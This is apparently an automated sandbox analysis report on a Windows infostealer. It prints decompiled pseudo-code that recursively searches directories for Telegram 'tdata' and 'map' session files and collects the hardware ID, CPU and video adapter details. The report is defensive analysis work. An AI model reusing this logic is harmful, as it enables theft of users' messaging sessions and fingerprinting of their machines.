											_v108 = _v108 & 0x00000000;
											_v16 = _v16 & 0x00000000;
											_v112 = 0x2bc65cc5;
											_t429 = E002B4068( &_v112, _t422,  &_v16);
											__eflags = _t429;
											if(_t429 == 0) {
												goto L37;
											}
											_t276 = E002B3713(_t429, _t422);
											__eflags = _t276;
											if(_t276 == 0) {
												goto L37;
											} else {
												_push(0);
												goto L34;
											}
										} else {
											_t53 =  &_v100;
											 *_t53 = _v100 & 0x00000000;
											__eflags =  *_t53;
											_t360 =  &_v104;
											_v104 = 0x4dae58fd;
											L25:
											_v16 = _v16 & 0x00000000;
											_t278 = E002B4068(_t360, _t422,  &_v16);
											__eflags = _t278;
											if(_t278 == 0) {
												L29:
												E002B351E(_t278);
												_t277 = _v20;
												goto L18;
											}
											_t260 = E002B3713(_t278, _t422);
											__eflags = _t260;
											if(_t260 != 0) {
												_t427 = E002B34F0(0x208);
												__eflags = _a4;
												_v84 = 0;
												_t399 =  !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff;
												_t365 = ( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff;
												_push(_t278 + (( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff) * 2);
												E002B35E8(__eflags, _t261, L"%s%s",  &_v96);
												_t265 = 0x2f;
												_v84 = _t265;
												E002B3E66(_v20, _t278, __eflags, _t427);
												_t433 = _t433 + 0x14;
												 *0x2b84ca =  *0x2b84ca + 1;
												__eflags =  *0x2b84ca;
												L28:
												E002B351E(_t427);
											}
											goto L29;
										}
									} else {
										_push(0);
										L17:
										_push( &_v96);
										_t369 =  !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff;
										_t269 = ( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff;
										_push(( !=  ?  *0x2b84d0 & 0x0000ffff :  *0x2b84f0 & 0x0000ffff) & 0x0000ffff);
										E002B3EAA(_t277, _t422, _a4);
										_t433 = _t433 + 0xc;
										 *0x2b84ca =  *0x2b84ca + 1;
										goto L18;
									}
								}
							}
						}
						L19:
						_t193 = FindNextFileW(_v44,  &_v856); // executed
					} while (_t193 != 0);
					goto L20;
				}
			}

0x002b100a
0x002b100c
0x002b100e
0x002b1011
0x002b1018
0x002b12e0
0x002b12e0
0x002b102e
0x002b1030
0x002b1037
0x00000000
0x00000000
0x002b104b
0x002b1052
0x002b1054
0x002b1059
0x002b12cc
0x002b12ce
0x00000000
0x002b12d5
0x002b105f
0x002b1061
0x00000000
0x00000000
0x002b1069
0x002b106c
0x002b1073
0x002b1076
0x002b107d
0x002b1080
0x002b1087
0x002b108a
0x002b108d
0x002b1094
0x002b1097
0x002b109a
0x002b10a3
0x002b10aa
0x002b10ad
0x002b10b1
0x002b10b4
0x002b10b8
0x002b10bb
0x002b10bf
0x002b10c2
0x002b10c6
0x002b10c9
0x002b10cf
0x002b10d3
0x002b10d6
0x002b10dd
0x002b10e1
0x002b10e4
0x002b10eb
0x002b10ee
0x002b10f5
0x002b10fc
0x002b1103
0x002b1106
0x002b110d
0x002b1110
0x002b1117
0x002b111b
0x002b112a
0x002b1131
0x002b1135
0x002b113c
0x002b1143
0x002b114a
0x002b1151
0x002b1156
0x002b1161
0x002b1167
0x002b116d
0x002b129d
0x002b12a7
0x002b12b7
0x002b12c4
0x00000000
0x00000000
0x00000000
0x00000000
0x002b1173
0x002b1173
0x002b1176
0x002b1183
0x002b118d
0x002b1192
0x002b1282
0x002b1282
0x00000000
0x002b1282
0x002b119e
0x002b11a8
0x002b11ad
0x002b11b7
0x002b1759
0x002b1760
0x00000000
0x00000000
0x002b177a
0x002b177f
0x002b1784
0x002b17db
0x002b17e0
0x002b198b
0x002b1999
0x002b199d
0x002b19a0
0x002b19a3
0x002b19a6
0x002b19aa
0x002b19b8
0x002b19c2
0x002b19c7
0x00000000
0x002b19c7
0x002b17e6
0x002b17eb
0x00000000
0x00000000
0x002b17f1
0x002b17f6
0x00000000
0x00000000
0x002b17fc
0x002b1801
0x00000000
0x00000000
0x002b1807
0x002b180c
0x00000000
0x00000000
0x002b1812
0x002b1817
0x00000000
0x00000000
0x002b181d
0x002b1822
0x00000000
0x00000000
0x002b1828
0x002b182d
0x00000000
0x00000000
0x002b1833
0x002b1838
0x00000000
0x00000000
0x002b183e
0x002b1843
0x00000000
0x00000000
0x002b1849
0x002b184e
0x00000000
0x00000000
0x002b1854
0x002b185d
0x002b1862
0x002b1866
0x002b1868
0x00000000
0x00000000
0x002b186e
0x002b1871
0x002b1873
0x00000000
0x00000000
0x002b1879
0x002b187a
0x002b1881
0x002b1884
0x002b1889
0x002b188e
0x002b1891
0x00000000
0x00000000
0x002b1897
0x002b18ac
0x002b18af
0x00000000
0x00000000
0x002b18c3
0x002b18c5
0x002b18c9
0x002b18cb
0x00000000
0x00000000
0x002b18d3
0x002b18d8
0x002b18db
0x002b18dd
0x002b18eb
0x002b18f0
0x002b18f4
0x002b18f6
0x002b18fc
0x002b18ff
0x002b1901
0x002b1907
0x002b190a
0x002b190d
0x002b1912
0x002b1914
0x002b1917
0x002b1919
0x002b192d
0x002b192f
0x002b1941
0x002b1944
0x002b1947
0x002b1947
0x002b194b
0x002b1955
0x002b1964
0x002b1969
0x002b196e
0x002b1976
0x002b197b
0x002b197b
0x002b1981
0x002b1981
0x002b1901
0x002b18f6
0x00000000
0x002b18dd
0x002b1797
0x002b17a2
0x002b17a5
0x002b17ac
0x002b17af
0x002b17b5
0x002b17bd
0x002b17c4
0x002b17c8
0x002b17ce
0x002b17d3
0x00000000
0x002b11ed
0x002b1207
0x002b120f
0x002b16c7
0x002b16d1
0x002b16de
0x002b16e8
0x002b16f7
0x002b16fa
0x002b16fc
0x002b1706
0x002b170b
0x002b170d
0x002b1713
0x002b1724
0x002b172e
0x002b173c
0x002b173f
0x002b1746
0x002b174b
0x002b174e
0x002b174e
0x002b170d
0x00000000
0x002b122d
0x002b1233
0x002b16a3
0x002b16b4
0x002b16bc
0x00000000
0x002b1245
0x002b124b
0x002b12e1
0x002b12e7
0x002b138b
0x002b1391
0x002b1401
0x002b1407
0x002b143e
0x002b1444
0x002b144d
0x002b1453
0x002b1468
0x002b146e
0x002b1652
0x002b1652
0x002b165c
0x002b1669
0x002b1678
0x002b167b
0x002b167d
0x002b13f5
0x002b13f7
0x00000000
0x002b13f7
0x002b1687
0x002b168c
0x002b168e
0x00000000
0x00000000
0x002b1694
0x002b1696
0x002b13c8
0x002b13d2
0x002b13d6
0x002b13de
0x002b13de
0x002b13e6
0x002b13e7
0x002b13ec
0x002b13ef
0x002b13ef
0x002b13ef
0x00000000
0x002b13ef
0x002b1474
0x002b147a
0x00000000
0x00000000
0x002b1480
0x002b1486
0x00000000
0x00000000
0x002b148c
0x002b1492
0x00000000
0x00000000
0x002b1498
0x002b149e
0x00000000
0x00000000
0x002b14a4
0x002b14aa
0x00000000
0x00000000
0x002b14b0
0x002b14b6
0x00000000
0x00000000
0x002b14bc
0x002b14c2
0x00000000
0x00000000
0x002b14c8
0x002b14ce
0x00000000
0x00000000
0x002b14d4
0x002b14da
0x00000000
0x00000000
0x002b14e0
0x002b14e6
0x00000000
0x00000000
0x002b14ec
0x002b14f2
0x00000000
0x00000000
0x002b14f8
0x002b14fe
0x00000000
0x00000000
0x002b1504
0x002b150a
0x00000000
0x00000000
0x002b1510
0x002b1516
0x00000000
0x00000000
0x002b151c
0x002b1522
0x00000000
0x00000000
0x002b1528
0x002b152e
0x00000000
0x00000000
0x002b1534
0x002b153a
0x00000000
0x00000000
0x002b1540
0x002b1546
0x00000000
0x00000000
0x002b154c
0x002b1552
0x00000000
0x00000000
0x002b1558
0x002b155e
0x00000000
0x00000000
0x002b1564
0x002b156a
0x00000000
0x00000000
0x002b1570
0x002b1576
0x00000000
0x00000000
0x002b157c
0x002b1582
0x00000000
0x00000000
0x002b1588
0x002b158e
0x00000000
0x00000000
0x002b1594
0x002b159a
0x00000000
0x00000000
0x002b15a0
0x002b15a6
0x002b15da
0x002b15da
0x002b15e1
0x002b15ee
0x002b15fd
0x002b1600
0x002b1602
0x002b160c
0x002b1611
0x002b1613
0x002b1626
0x002b1636
0x002b1639
0x002b163f
0x002b1644
0x002b1647
0x002b1647
0x002b1613
0x00000000
0x002b1602
0x002b15a8
0x002b15ae
0x00000000
0x00000000
0x002b15b0
0x002b15b6
0x00000000
0x00000000
0x002b15b8
0x002b15be
0x00000000
0x00000000
0x002b15c0
0x002b15c6
0x00000000
0x00000000
0x002b15cf
0x00000000
0x002b15d4
0x002b1455
0x002b1459
0x002b145c
0x00000000
0x002b1446
0x002b1446
0x00000000
0x002b1446
0x002b1444
0x002b1409
0x002b1410
0x002b141a
0x002b1426
0x002b1429
0x002b142b
0x00000000
0x00000000
0x002b1431
0x002b1436
0x002b1438
0x00000000
0x002b143a
0x002b143a
0x002b13c6
0x002b13c6
0x00000000
0x002b13c6
0x002b1438
0x002b1393
0x002b139a
0x002b13a4
0x002b13b0
0x002b13b3
0x002b13b5
0x00000000
0x00000000
0x002b13bb
0x002b13c0
0x002b13c2
0x00000000
0x002b13c4
0x002b13c4
0x00000000
0x002b13c4
0x002b12ed
0x002b12ed
0x002b12ed
0x002b12ed
0x002b12f1
0x002b12f4
0x002b12fb
0x002b12fb
0x002b130a
0x002b130d
0x002b130f
0x002b137c
0x002b137e
0x002b1383
0x00000000
0x002b1383
0x002b1315
0x002b131a
0x002b131c
0x002b132f
0x002b133a
0x002b133d
0x002b1344
0x002b1347
0x002b134d
0x002b1355
0x002b1361
0x002b1363
0x002b1367
0x002b136c
0x002b136f
0x002b136f
0x002b1375
0x002b1377
0x002b1377
0x00000000
0x002b131c
0x002b1251
0x002b1251
0x002b1253
0x002b1263
0x002b126b
0x002b126e
0x002b1273
0x002b1274
0x002b1279
0x002b127c
0x00000000
0x002b127c
0x002b124b
0x002b1233
0x002b120f
0x002b1285
0x002b128f
0x002b1295
0x00000000
0x002b1173

APIs

FindNextFileW.KERNELBASE(?,?), ref: 002B128F

Part of subcall function 002B402B: GetFileAttributesW.KERNELBASE(00E17728,002B1035,00E17728), ref: 002B402C

Part of subcall function 002B34F0: EnterCriticalSection.KERNEL32(002B84D4,?,?,002B3B95,?,002B223F), ref: 002B34FA
Part of subcall function 002B34F0: GetProcessHeap.KERNEL32(00000008,?,?,?,002B3B95,?,002B223F), ref: 002B3503
Part of subcall function 002B34F0: RtlAllocateHeap.NTDLL(00000000,?,?,?,002B3B95,?,002B223F), ref: 002B350A
Part of subcall function 002B34F0: LeaveCriticalSection.KERNEL32(002B84D4,?,?,?,002B3B95,?,002B223F), ref: 002B3513

FindFirstFileW.KERNELBASE(00000000,?,00E17728), ref: 002B1161
EnterCriticalSection.KERNEL32(002B84D4), ref: 002B16A3
LeaveCriticalSection.KERNEL32(002B84D4), ref: 002B16BC

Part of subcall function 002B3EAA: FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 002B3F0B
Part of subcall function 002B3EAA: FindNextFileW.KERNEL32(002B174B,?), ref: 002B3FAC

Strings

%s%s, xrefs: 002B134F, 002B17B7, 002B194D, 002B19B2
7a?=, xrefs: 002B16DE
$Lr, xrefs: 002B14E0
%s\%s, xrefs: 002B11A2
%s\*, xrefs: 002B1124
Telegram, xrefs: 002B16A9

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: File$CriticalFindSection$EnterFirstHeapLeaveNext$AllocateAttributesProcess
String ID: $Lr$%s%s$%s\%s$%s\*$7a?=$Telegram
API String ID: 1893179121-1537637304
Opcode ID: 5d814cd4b5d8ec00b8fb4cb67b94aba78941aa1be23be32b4d1196b3694cc905
Instruction ID: 4d0bacbab2656c77b203d1425e30c735834ec0908f7eff656a81caabcdbfcf4b
Opcode Fuzzy Hash: 5d814cd4b5d8ec00b8fb4cb67b94aba78941aa1be23be32b4d1196b3694cc905
Instruction Fuzzy Hash: 70321C31E2022697DF24EFA888657FDB3B89F44790F58406AD905E7191EF708EB4CB91

Uniqueness

Uniqueness Score: -1.00%

Function 002B4ABC Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 286
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E002B4ABC(void* __ecx, void* __edx, char _a4, intOrPtr _a8) {
				intOrPtr _v8;
				short _v12;
				short _v14;
				short _v16;
				short _v18;
				short _v20;
				short _v22;
				short _v24;
				short _v26;
				char _v28;
				short _v32;
				short _v34;
				short _v36;
				short _v38;
				short _v40;
				short _v42;
				short _v44;
				short _v46;
				short _v48;
				short _v50;
				short _v52;
				short _v54;
				short _v56;
				short _v58;
				char _v60;
				short _v62;
				short _v64;
				short _v66;
				short _v68;
				short _v70;
				short _v72;
				short _v74;
				short _v76;
				short _v78;
				short _v80;
				short _v82;
				short _v84;
				short _v86;
				short _v88;
				short _v90;
				short _v92;
				short _v94;
				short _v96;
				short _v98;
				char _v100;
				void* _v104;
				struct _WIN32_FIND_DATAW _v700;
				short _t92;
				void* _t97;
				void* _t99;
				signed int _t102;
				int _t104;
				short _t105;
				short _t106;
				short _t107;
				short _t108;
				short _t109;
				short _t110;
				short _t116;
				short _t117;
				short _t123;
				short _t124;
				short _t125;
				short _t126;
				short _t127;
				signed int _t129;
				void* _t138;
				short _t141;
				short _t142;
				void* _t146;
				void* _t147;
				short _t149;
				short _t155;
				short _t168;
				short _t169;
				short _t170;
				short _t171;
				short _t175;
				short _t176;
				short _t177;
				short _t183;
				short _t185;
				short _t186;
				short _t187;
				short _t189;
				short _t190;
				short _t191;
				short _t192;
				short _t193;
				void* _t199;
				short _t200;
				WCHAR* _t202;
				void* _t203;
				void* _t204;
				void* _t205;
				intOrPtr _t209;

				_t207 = _a4 - 1;
				_t200 = 0x25;
				_t92 = 0x73;
				_t199 = __edx;
				_t147 = __ecx;
				_t183 = 0x74;
				_t149 = 0x61;
				if(_a4 != 1) {
					L3:
					 *0x2b80bc =  *0x2b80bc + 1;
					_v8 = E002B34F0(0x208);
					_t202 = E002B34F0(0x208);
					E002B35E8(_t209, _t202, L"%s\\*", _t199);
					_t205 = _t204 + 0xc;
					_t97 = FindFirstFileW(_t202,  &_v700); // executed
					_v104 = _t97;
					_t210 = _t97 - 0xffffffff;
					if(_t97 == 0xffffffff) {
						L18:
						E002B351E(_t202);
						_t99 = E002B351E(_v8);
						 *0x2b80bc =  *0x2b80bc - 1;
						return _t99;
					} else {
						goto L4;
					}
					do {
						L4:
						_push( &(_v700.cFileName));
						E002B35E8(_t210, _t202, L"%s\\%s", _t199);
						_t205 = _t205 + 0x10;
						if(_a4 != 0) {
							_t102 = E002B3623( &(_v700.cFileName));
							_t155 = 0x73;
							__eflags =  *((intOrPtr*)(_t203 + _t102 * 2 - 0x28e)) - _t155;
							if(__eflags != 0) {
								goto L17;
							}
							_t105 = 0x25;
							_v60 = _t105;
							_t106 = 0x5c;
							_t185 = 0x74;
							_v56 = _t106;
							_t107 = 0x64;
							_v52 = _t107;
							_t108 = 0x61;
							_v50 = _t108;
							_v46 = _t108;
							_t109 = 0x5f;
							_v44 = _t109;
							_t110 = 0x25;
							_v54 = _t185;
							_v48 = _t185;
							_t186 = 0x64;
							_v42 = _t110;
							_v36 = _t110;
							_v32 = 0;
							_v40 = _t186;
							_t187 = 0x5c;
							_push( &(_v700.cFileName));
							_push( *0x2b80b8);
							_v58 = _t155;
							_v38 = _t187;
							_v34 = _t155;
							E002B35E8(__eflags, _v8,  &_v60, _a8);
							E002B3E66(_t147, _t202, __eflags, _v8);
							_t116 = 0x25;
							_v28 = _t116;
							_t117 = 0x73;
							_t168 = 0x5c;
							_v24 = _t168;
							_t169 = 0x6d;
							_v22 = _t169;
							_t170 = 0x61;
							_v20 = _t170;
							_t171 = 0x70;
							_v26 = _t117;
							_v16 = _t117;
							_v18 = _t171;
							_v14 = 0;
							 *((short*)(_t202 + E002B3623(_t202) * 2 - 2)) = 0;
							E002B35E8(__eflags, _t202,  &_v28, _t202);
							_t205 = _t205 + 0x20;
							__eflags = E002B402B(_t202);
							if(__eflags == 0) {
								goto L17;
							}
							_t123 = 0x25;
							_v100 = _t123;
							_t124 = 0x73;
							_t175 = 0x5c;
							_t189 = 0x74;
							_v98 = _t124;
							_t125 = 0x64;
							_v96 = _t175;
							_t176 = 0x61;
							_v94 = _t189;
							_v88 = _t189;
							_t190 = 0x5f;
							_v84 = _t190;
							_t191 = 0x25;
							_v92 = _t125;
							_v80 = _t125;
							_t126 = 0x5c;
							_v78 = _t126;
							_t127 = 0x73;
							_v82 = _t191;
							_v76 = _t191;
							_t192 = 0x5c;
							_v72 = _t192;
							_t193 = 0x6d;
							_v90 = _t176;
							_v86 = _t176;
							_v68 = _t176;
							_t177 = 0x70;
							_v74 = _t127;
							_v64 = _t127;
							_v66 = _t177;
							_v70 = _t193;
							_v62 = 0;
							_t129 = E002B3623( &(_v700.cFileName));
							__eflags = 0;
							 *((short*)(_t203 + _t129 * 2 - 0x28e)) = 0;
							_push( &(_v700.cFileName));
							_push( *0x2b80b8);
							E002B35E8(0, _v8,  &_v100, _a8);
							_t205 = _t205 + 0x14;
							E002B3E66(_t147, _t202, __eflags, _v8);
							L16:
							goto L17;
						}
						if((_v700.dwFileAttributes & 0x00000010) != 0 && E002B3713( &(_v700.cFileName), L"..") != 0 && E002B3713( &(_v700.cFileName), ".") != 0) {
							_t138 = E002B3B10( &(_v700.cFileName), E002B3623( &(_v700.cFileName)) + _t136);
							if(_t138 == 0x23f2e218 || _t138 == 0x2d3640ab) {
								EnterCriticalSection(0x2b84d4);
								E002B4ABC(_t147, _t202, 1, L"Telegram");
								LeaveCriticalSection(0x2b84d4);
								goto L17;
							} else {
								if( *0x2b80bc > 2) {
									goto L17;
								}
								E002B4ABC(_t147, _t202, 0, 0); // executed
								goto L16;
							}
						}
						L17:
						_t104 = FindNextFileW(_v104,  &_v700); // executed
					} while (_t104 != 0);
					goto L18;
				}
				_v26 = _t92;
				_t141 = 0x5c;
				_v24 = _t141;
				_t142 = 0x64;
				_v20 = _t142;
				_v12 = 0;
				_v28 = _t200;
				_v22 = _t183;
				_v18 = _t149;
				_v16 = _t183;
				_v14 = _t149;
				E002B35E8(_t207, __edx,  &_v28, __edx);
				_t204 = _t204 + 0xc;
				_t146 = E002B402B(__edx);
				if(_t146 != 0) {
					 *0x2b80b8 =  *0x2b80b8 + 1;
					_t209 =  *0x2b80b8;
					goto L3;
				}
				return _t146;
			}

0x002b4ac5
0x002b4ace
0x002b4ad1
0x002b4ad4
0x002b4ad6
0x002b4ad8
0x002b4adb
0x002b4adc
0x002b4b2d
0x002b4b2d
0x002b4b41
0x002b4b4a
0x002b4b52
0x002b4b57
0x002b4b62
0x002b4b68
0x002b4b6b
0x002b4b6e
0x002b4e18
0x002b4e1a
0x002b4e22
0x002b4e27
0x00000000
0x00000000
0x00000000
0x00000000
0x002b4b74
0x002b4b74
0x002b4b7a
0x002b4b82
0x002b4b87
0x002b4b8e
0x002b4c4c
0x002b4c53
0x002b4c54
0x002b4c5c
0x00000000
0x00000000
0x002b4c64
0x002b4c67
0x002b4c6b
0x002b4c6e
0x002b4c71
0x002b4c75
0x002b4c78
0x002b4c7c
0x002b4c7f
0x002b4c83
0x002b4c87
0x002b4c8a
0x002b4c8e
0x002b4c91
0x002b4c95
0x002b4c99
0x002b4c9a
0x002b4ca0
0x002b4ca6
0x002b4cb0
0x002b4cb4
0x002b4cb5
0x002b4cb6
0x002b4cbf
0x002b4cc6
0x002b4cce
0x002b4cd2
0x002b4ce1
0x002b4ce9
0x002b4cec
0x002b4cf0
0x002b4cf3
0x002b4cf6
0x002b4cfa
0x002b4cfb
0x002b4d01
0x002b4d02
0x002b4d08
0x002b4d09
0x002b4d0d
0x002b4d13
0x002b4d19
0x002b4d25
0x002b4d2f
0x002b4d34
0x002b4d3e
0x002b4d40
0x00000000
0x00000000
0x002b4d48
0x002b4d4b
0x002b4d4f
0x002b4d52
0x002b4d55
0x002b4d58
0x002b4d5c
0x002b4d5f
0x002b4d63
0x002b4d66
0x002b4d6a
0x002b4d6e
0x002b4d71
0x002b4d75
0x002b4d78
0x002b4d7c
0x002b4d80
0x002b4d83
0x002b4d87
0x002b4d8a
0x002b4d8e
0x002b4d92
0x002b4d95
0x002b4d99
0x002b4d9a
0x002b4d9e
0x002b4da2
0x002b4da8
0x002b4da9
0x002b4dad
0x002b4db3
0x002b4dbd
0x002b4dc1
0x002b4dc5
0x002b4dca
0x002b4dcc
0x002b4dda
0x002b4ddb
0x002b4deb
0x002b4df0
0x002b4dfa
0x002b4dff
0x00000000
0x002b4dff
0x002b4b9b
0x002b4be6
0x002b4bf0
0x002b4c1e
0x002b4c2f
0x002b4c3b
0x00000000
0x002b4bf9
0x002b4c00
0x00000000
0x00000000
0x002b4c0e
0x00000000
0x002b4c13
0x002b4bf0
0x002b4e00
0x002b4e0a
0x002b4e10
0x00000000
0x002b4b74
0x002b4ae0
0x002b4ae4
0x002b4ae7
0x002b4aeb
0x002b4aec
0x002b4af2
0x002b4afc
0x002b4b00
0x002b4b04
0x002b4b08
0x002b4b0c
0x002b4b10
0x002b4b15
0x002b4b1a
0x002b4b21
0x002b4b27
0x002b4b27
0x00000000
0x002b4b27
0x002b4e33

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000000,002B84D4,?), ref: 002B4B62
EnterCriticalSection.KERNEL32(002B84D4), ref: 002B4C1E

Part of subcall function 002B4ABC: LeaveCriticalSection.KERNEL32(002B84D4), ref: 002B4C3B

FindNextFileW.KERNELBASE(?,?), ref: 002B4E0A

Part of subcall function 002B402B: GetFileAttributesW.KERNELBASE(00E17728,002B1035,00E17728), ref: 002B402C

Strings

%s\%s, xrefs: 002B4B7C
%s\*, xrefs: 002B4B4C
Telegram, xrefs: 002B4C24

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

API ID: File$CriticalFindSection$AttributesEnterFirstLeaveNext
String ID: %s\%s$%s\*$Telegram
API String ID: 648860119-4994844
Opcode ID: 784ca9c340cfbc8bbd8b9083c0e9c06e0c68b4fcadba9dba420e1587de4a874f
Instruction ID: 11468e382440613c3766b8d563b882d1c833dea098ebdab3a18dc5a1abd6e87c
Opcode Fuzzy Hash: 784ca9c340cfbc8bbd8b9083c0e9c06e0c68b4fcadba9dba420e1587de4a874f
Instruction Fuzzy Hash: 88A16721A24308A9EF10EBA0EC46BFE7375EF44750F20541AE504EB2A1EBB15E95C759

Uniqueness

Uniqueness Score: -1.00%

Function 002B202A Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E002B202A(char* __edx) {
				char _v392;
				char _v428;
				struct tagHW_PROFILE_INFOA _v556;
				struct _SYSTEM_INFO _v592;
				char _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				char _t32;
				int _t34;
				int _t39;
				char _t40;
				intOrPtr _t48;
				intOrPtr* _t50;
				intOrPtr _t60;
				char* _t62;
				intOrPtr _t64;
				void* _t66;
				void* _t70;
				intOrPtr* _t72;
				signed int _t73;
				void* _t75;
				void* _t76;

				_t62 = __edx;
				_t75 = (_t73 & 0xfffffff8) - 0x264;
				asm("movaps xmm0, [0x2b7520]");
				_push(_t48);
				asm("movups [esp+0x14], xmm0");
				_v616 = E002B34F0(0x100);
				_t64 = 0x80000000;
				_push(_t48);
				asm("cpuid");
				_t50 =  &_v608;
				 *_t50 = 0x80000000;
				 *((intOrPtr*)(_t50 + 4)) = _t48;
				 *((intOrPtr*)(_t50 + 8)) = 0;
				 *((intOrPtr*)(_t50 + 0xc)) = __edx;
				_t32 = _v608;
				_v612 = _t32;
				if(_t32 >= 0x80000000) {
					do {
						_push(_t50);
						asm("cpuid");
						_t72 = _t50;
						_t50 =  &_v608;
						 *_t50 = _t64;
						 *((intOrPtr*)(_t50 + 4)) = _t72;
						 *((intOrPtr*)(_t50 + 8)) = 0;
						 *((intOrPtr*)(_t50 + 0xc)) = _t62;
						if(_t64 != 0x80000002) {
							__eflags = _t64 - 0x80000003;
							if(_t64 != 0x80000003) {
								__eflags = _t64 - 0x80000004;
								if(__eflags == 0) {
									_t60 = _v616 + 0x20;
									goto L7;
								}
							} else {
								_t60 = _v616 + 0x10;
								goto L7;
							}
						} else {
							_t60 = _v616;
							L7:
							_t62 =  &_v608;
							E002B3533(_t60, _t62, 0x10);
							_t75 = _t75 + 4;
						}
						_t64 = _t64 + 1;
					} while (_t64 <= _v612);
				}
				_t34 = GetCurrentHwProfileA( &_v556); // executed
				_t80 = _t34;
				if(_t34 != 0) {
					E002B35C3(_t80, 0, "- HWID: %s\r\n",  &(_v556.szHwProfileGuid));
					_t75 = _t75 + 0xc;
				}
				GetSystemInfo( &_v592); // executed
				_push(_v592.dwNumberOfProcessors);
				E002B35C3(_t80, 0, "- CPU: %s (%d cores)\r\n", _v616);
				_t76 = _t75 + 0x10;
				E002B351E(_v616);
				_t70 = 0;
				_t66 = 1;
				_push(1);
				_push( &_v428);
				_push(1);
				while(1) {
					_v428 = 0x1a8;
					_t39 = EnumDisplayDevicesA(0, ??, ??, ??);
					if(_t39 == 0) {
						break;
					}
					_t40 = _v428;
					__eflags = _t70 - _t40;
					if(__eflags != 0) {
						_push( &_v392);
						E002B35C3(__eflags, 0, "- VideoAdapter #%d: %s\r\n", _t66);
						_t40 = _v428;
						_t76 = _t76 + 0x10;
					}
					__eflags = _t70;
					_push(1);
					_t70 =  ==  ? _t40 : _t70;
					_t66 = _t66 + 1;
					__eflags = _t66;
					_push( &_v428);
					_push(_t66);
				}
				return _t39;
			}

0x002b202a
0x002b2030
0x002b2036
0x002b2042
0x002b2045
0x002b204f
0x002b2053
0x002b205c
0x002b205d
0x002b2062
0x002b2066
0x002b2068
0x002b206b
0x002b206e
0x002b2071
0x002b2075
0x002b207b
0x002b207d
0x002b2081
0x002b2082
0x002b2084
0x002b2087
0x002b208b
0x002b208d
0x002b2090
0x002b2093
0x002b209c
0x002b20a4
0x002b20aa
0x002b20b5
0x002b20bb
0x002b20c1
0x00000000
0x002b20c1
0x002b20ac
0x002b20b0
0x00000000
0x002b20b0
0x002b209e
0x002b209e
0x002b20c4
0x002b20c6
0x002b20ca
0x002b20cf
0x002b20cf
0x002b20d2
0x002b20d3
0x002b207d
0x002b20de
0x002b20e4
0x002b20e6
0x002b20f4
0x002b20f9
0x002b20f9
0x002b2101
0x002b2107
0x002b2117
0x002b211c
0x002b2121
0x002b2135
0x002b2137
0x002b2138
0x002b2139
0x002b213a
0x002b2178
0x002b217a
0x002b2185
0x002b2189
0x00000000
0x00000000
0x002b213d
0x002b2144
0x002b2146
0x002b214f
0x002b2158
0x002b215d
0x002b2164
0x002b2164
0x002b2167
0x002b2169
0x002b216b
0x002b2175
0x002b2175
0x002b2176
0x002b2177
0x002b2177
0x002b2191

APIs

Part of subcall function 002B34F0: EnterCriticalSection.KERNEL32(002B84D4,?,?,002B3B95,?,002B223F), ref: 002B34FA
Part of subcall function 002B34F0: GetProcessHeap.KERNEL32(00000008,?,?,?,002B3B95,?,002B223F), ref: 002B3503
Part of subcall function 002B34F0: RtlAllocateHeap.NTDLL(00000000,?,?,?,002B3B95,?,002B223F), ref: 002B350A
Part of subcall function 002B34F0: LeaveCriticalSection.KERNEL32(002B84D4,?,?,?,002B3B95,?,002B223F), ref: 002B3513

GetCurrentHwProfileA.ADVAPI32(?), ref: 002B20DE
GetSystemInfo.KERNELBASE(?,?,?), ref: 002B2101
EnumDisplayDevicesA.USER32(00000000,00000002,?,00000001), ref: 002B2185

Strings

- CPU: %s (%d cores), xrefs: 002B2110
- VideoAdapter #%d: %s, xrefs: 002B2151
- HWID: %s, xrefs: 002B20ED

Memory Dump Source

Source File: 00000003.00000002.480955621.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000003.00000002.480949730.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480963521.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480967942.00000000002B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.480972221.00000000002B9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2b0000_GcQGGmjG.jbxd

Similarity

